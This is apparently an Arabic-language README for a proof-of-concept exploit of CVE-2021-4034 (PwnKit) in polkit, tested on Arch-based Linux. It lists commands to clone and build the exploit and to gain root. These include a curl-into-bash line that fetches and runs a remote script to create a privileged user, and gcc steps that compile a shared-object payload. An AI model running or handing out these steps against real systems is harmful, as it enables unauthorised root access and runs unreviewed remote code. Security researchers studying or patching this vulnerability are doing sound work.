poppy : CVE-2021-4034

CVE-2021-4034 إثبات المفهوم (PoC) ، polkit < 0.131

الاستخدام

تم الاختبار على Arch Linux (Manjaro & Axyl OS)

git clone https://github.com/tahaafarooq/poppy
make
./poppy

استغلال لإنشاء مستخدم متمكن

bash -c "$(curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh)"

gcc -shared su.c -o suuser -Wl,-e,entry -fPIC
./suuser

إثبات المفهوم

لمزيد من المعلومات حول هذه الثغرة، راجع الشرح المفصل على الرابط: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt